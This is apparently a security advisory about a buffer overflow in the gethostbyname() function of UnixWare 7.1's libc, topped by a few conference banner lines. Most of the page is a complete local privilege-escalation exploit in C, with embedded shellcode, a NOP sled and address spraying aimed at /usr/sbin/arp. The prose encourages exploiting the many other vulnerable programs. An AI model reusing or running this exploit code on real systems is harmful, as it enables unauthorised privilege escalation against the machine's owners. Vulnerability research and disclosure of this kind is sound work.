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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

A serious bug exists in UnixWare 7.1's libc. A buffer overflow in gethostbyname() will allow any user to obtain elevated privileges.

Credit:
The following information has been provided by: Brock Tellier.

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Any program which uses gethostbyname() with user-defined input is vulnerable to a buffer overflow attack. These overflows come with various eases of exploitability. The demonstration program happens to be "arp", but any program calling this function will do. When exploiting the dozens of programs vulnerable to this hole, don't forget to check your /etc/security/tcb/privs file for other non-suid programs which may allow you to elevate your privileges as well.

Exploit code:
--- uwarp.c ---
/**
** UnixWare 7.1 arp exploit yields gid of sys
** Demonstrates overflow in uw71's gethostbyname()
** use offsets of +-100
** Brock Tellier btellier@usa.net
**
**/

#include <stdlib.h>
#include <stdio.h>

char scoshell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#define LEN 3500
#define NOP 0x90

/* cc != gcc, use hard-coded addresses usually within 0x8045xxxx-0x8048xxxx
unsigned long get_sp(void) {

  __asm__("movl %esp, %eax");

    }
*/

int main(int argc, char *argv[]) {

  long int offset=0;

  int i;
  int buflen = LEN;
  long int addr;
  char buf[LEN];

  if(argc > 3) {
    fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
    exit(0);
  }
  else if (argc == 2){
    offset=atoi(argv[1]);

  }
  else if (argc == 3) {
    offset=atoi(argv[1]);
    buflen=atoi(argv[2]);

  }
  else {
    offset=100;
    buflen=3000;

  }


  addr=0x8046b75 + offset;

  fprintf(stderr, "\nUnixWare 7.1 arp exploit yields uid of sys\n");
  fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
  fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

  memset(buf,NOP,buflen);
  memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
  for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)
    *(int *)&buf[i]=addr;

  execl("/usr/sbin/arp", "arp", buf,
    NULL);

  exit(0);
}

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